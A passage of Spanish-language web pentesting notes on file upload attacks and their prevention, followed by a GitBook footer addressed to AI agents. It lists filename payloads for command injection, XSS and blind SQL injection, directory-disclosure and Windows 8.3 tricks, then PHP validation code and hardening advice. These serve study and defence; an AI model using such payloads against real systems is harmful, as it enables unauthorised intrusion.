| `` `whoami` `` | Backticks (substitution clásica).   |
| `\|\|whoami`   | Ejecuta si el comando previo falla. |

#### XSS en el nombre

Si el nombre se muestra a la víctima:

```
<script>alert(window.origin);</script>
```

#### SQL Injection en el nombre

Si el nombre se usa en una consulta SQL:

```
file';select+sleep(5);--.jpg
```

> Un `sleep(5)` que retrasa la respuesta confirma SQLi ciega.

### 2. Upload Directory Disclosure

Cuando no tenemos el enlace del archivo subido ni conocemos el directorio de uploads:

| Técnica            | Cómo                                                               |
| ------------------ | ------------------------------------------------------------------ |
| **Fuzzing**        | Buscar el directorio de uploads por fuerza bruta.                  |
| **LFI / XXE**      | Leer el código fuente para ubicar la ruta y el esquema de nombres. |
| **IDOR**           | (módulo Web Attacks) localizar dónde se guardan los archivos.      |
| **Forzar errores** | Provocar mensajes que revelen la ruta.                             |

#### Forzar errores reveladores

* Subir un archivo con **nombre ya existente** o enviar **dos requests idénticas** simultáneas → error "no se pudo escribir" que puede revelar la ruta.
* Subir un archivo con **nombre larguísimo** (ej. 5.000 caracteres) → si no se maneja, la app puede errar y revelar el directorio.

### 3. Ataques específicos de Windows

#### Caracteres reservados

Caracteres como `|`, `<`, `>`, `*`, `?` (comodines). Si no se sanitizan ni se entrecomillan, pueden referir a otro archivo (inexistente) y causar un error que revela el directorio.

#### Nombres reservados

Nombres que Windows no permite escribir → provocan error:

```
CON, COM1, LPT1, NUL
```

#### Convención de nombres 8.3 (Tilde `~`)

Windows soporta nombres cortos con `~`. Se puede usar para **sobrescribir** archivos existentes o referir a inexistentes:

| Nombre real      | Nombre 8.3                |
| ---------------- | ------------------------- |
| `hackthebox.txt` | `HAC~1.TXT` / `HAC~2.TXT` |
| `web.conf`       | `WEB~1.CON`               |

| Elemento  | Descripción                                                       |
| --------- | ----------------------------------------------------------------- |
| `HAC~1`   | Primeros 3 chars + `~` + orden entre archivos que empiezan igual. |
| El dígito | Orden del archivo coincidente (`~1`, `~2`, ...).                  |

> Escribiendo `WEB~1.CON` se puede sobrescribir `web.conf`. Posibles resultados: info disclosure vía errores, DoS, o acceso a archivos privados.

### 4. Ataques avanzados (procesamiento del archivo)

Cualquier **procesamiento automático** del archivo subido puede ser explotable si está mal codificado: codificar un video, comprimir, redimensionar imágenes, renombrar, etc.

| Ejemplo                 | Vulnerabilidad                                           |
| ----------------------- | -------------------------------------------------------- |
| **AVI → ffmpeg**        | Subida de AVI que deriva en **XXE** vía ffmpeg.          |
| Librerías de imagen     | Exploits públicos en librerías comunes de procesamiento. |
| Código/librerías custom | Requiere análisis más avanzado; posible 0-day.           |

> Con librerías conocidas suele haber exploits públicos; con código custom, detectarlas requiere técnicas avanzadas. Leer **bug bounty reports** ayuda a descubrir vectores más sofisticados.

### Resumen rápido

| Ataque                | Payload / técnica                               | Condición                          |
| --------------------- | ----------------------------------------------- | ---------------------------------- |
| **Command Injection** | `file$(whoami).jpg`                             | El nombre se usa en un comando OS. |
| **XSS**               | `<script>...</script>` en el nombre             | El nombre se refleja en la página. |
| **SQLi**              | `file';select+sleep(5);--.jpg`                  | El nombre se usa en una query.     |
| **Dir Disclosure**    | Nombre duplicado / larguísimo, fuzzing, LFI/XXE | Error revela la ruta.              |
| **Windows**           | Reservados (`CON`), 8.3 (`WEB~1.CON`)           | Servidor Windows.                  |
| **Avanzado**          | AVI→ffmpeg XXE, exploits de librerías           | Procesamiento automático inseguro. |

## Prevención

Tras aprender a explotar file uploads, el lado defensivo: qué **action points** recomendar en un pentest/bug bounty para cada tipo de vulnerabilidad. Usar esta sección como **checklist** para desarrolladores.

Áreas: validación de **extensión**, validación de **contenido**, no divulgar el directorio de uploads, y **hardening** adicional.

### 1. Validación de extensión (whitelist + blacklist)

Aunque la whitelist es más segura, se recomienda **usar ambas**: la blacklist frena scripts maliciosos si la whitelist llega a ser bypasseada (ej. `shell.php.jpg`).

```php
$fileName = basename($_FILES["uploadFile"]["name"]);

// blacklist test — busca la extensión en CUALQUIER parte del nombre
if (preg_match('/^.*\.ph(p|ps|ar|tml)/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// whitelist test — exige que el nombre TERMINE con la extensión
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
    echo "Only images are allowed";
    die();
}
```

| Test          | Regex                                | Lógica                                                                         |
| ------------- | ------------------------------------ | ------------------------------------------------------------------------------ |
| **Blacklist** | `\.ph(p\|ps\|ar\|tml)` (sin `$`)     | Bloquea si `.php`/etc. aparece **en cualquier lugar** → frena `shell.php.jpg`. |
| **Whitelist** | `\.(jpg\|jpeg\|png\|gif)$` (con `$`) | Solo permite si **termina** en imagen.                                         |

> Aplicar validación en **front-end y back-end**. El front se bypassea, pero reduce subidas accidentales y puede disparar alertas de defensa ante intentos maliciosos.

### 2. Validación de contenido (extensión + MIME + Content-Type que coincidan)

La extensión sola no basta: validar **también el contenido** y asegurar que **coincidan** extensión, Content-Type y magic bytes.

```php
$fileName    = basename($_FILES["uploadFile"]["name"]);
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype    = mime_content_type($_FILES['uploadFile']['tmp_name']);

// whitelist de extensión
if (!preg_match('/^.*\.png$/', $fileName)) {
    echo "Only PNG images are allowed";
    die();
}

// test de contenido: Content-Type Y MIME deben ser image/png
foreach (array($contentType, $MIMEtype) as $type) {
    if (!in_array($type, array('image/png'))) {
        echo "Only PNG images are allowed";
        die();
    }
}
```

| Fuente             | Función                | Qué valida                  |
| ------------------ | ---------------------- | --------------------------- |
| Extensión          | `preg_match(...$)`     | Nombre termina en `.png`.   |
| Content-Type       | `$_FILES[...]['type']` | Header del navegador.       |
| MIME / magic bytes | `mime_content_type()`  | Contenido real del archivo. |

> Los tres deben concordar con el tipo esperado.

### 3. No divulgar el directorio de uploads

Ocultar el directorio y **no dar acceso directo** al archivo subido. Servir vía un `download.php`.

Requisitos del `download.php`:

| Medida                | Objetivo                                                                           |
| --------------------- | ---------------------------------------------------------------------------------- |
| Autorización estricta | El archivo pertenece/es accesible al usuario autenticado → evita **IDOR**.         |
| Validación de rutas   | No usar input sin sanitizar en paths + allowlist de archivos/dirs → evita **LFI**. |
| `403` al directorio   | Peticiones directas a `/uploads` devuelven **403 Forbidden**.                      |

Headers HTTP de seguridad al servir el archivo:

| Header                            | Función                                                      |
| --------------------------------- | ------------------------------------------------------------ |
| `Content-Disposition: attachment` | Fuerza descarga en lugar de renderizar inline.               |
| `Content-Type`                    | Define el MIME correcto para el manejo del navegador.        |
| `X-Content-Type-Options: nosniff` | Impide MIME-sniffing → el navegador respeta el Content-Type. |

Medidas adicionales:

* **Randomizar** los nombres almacenados y guardar el nombre original (sanitizado) en BD → el usuario no conoce ni la ruta ni el nombre; evita injections en el filename.
* Guardar los uploads en **servidor/container separado** → un RCE solo compromete el servidor de uploads, no el back-end principal.
* `open_basedir` (PHP) para impedir acceso fuera del directorio restringido.

### 4. Hardening adicional

Por si se bypassea todo lo anterior:

| Medida                                | Cómo                                                                                |
| ------------------------------------- | ----------------------------------------------------------------------------------- |
| **Deshabilitar funciones peligrosas** | `disable_functions` en `php.ini`: `exec`, `shell_exec`, `system`, `passthru`, etc.  |
| **Ocultar errores del servidor**      | Manejar errores a nivel app; mensajes simples sin filename, ruta ni errores crudos. |
| **Limitar tamaño** de archivo         | Evita DoS por archivos gigantes.                                                    |
| **Actualizar librerías**              | Cierra exploits públicos (ej. ffmpeg/XXE).                                          |
| **Escanear archivos**                 | Antimalware / strings maliciosos.                                                   |
| **WAF**                               | Capa secundaria de protección.                                                      |

### Resumen rápido (checklist)

| Categoría       | Action point                                                                                 |
| --------------- | -------------------------------------------------------------------------------------------- |
| **Extensión**   | Whitelist (con `$`) + blacklist (sin `$`); front + back-end.                                 |
| **Contenido**   | Extensión + Content-Type + magic bytes deben coincidir.                                      |
| **Divulgación** | `download.php` con authz + path validation; `403` al dir; nombres random en BD.              |
| **Aislamiento** | Servidor/container separado; `open_basedir`.                                                 |
| **Hardening**   | `disable_functions`, ocultar errores, límite de tamaño, WAF, antimalware, libs actualizadas. |

> Aplicadas todas estas medidas, la app queda relativamente segura frente a las amenazas comunes de file upload. En un pentest, usar esta lista para identificar los gaps y reportarlos al equipo de desarrollo.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/file-upload.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
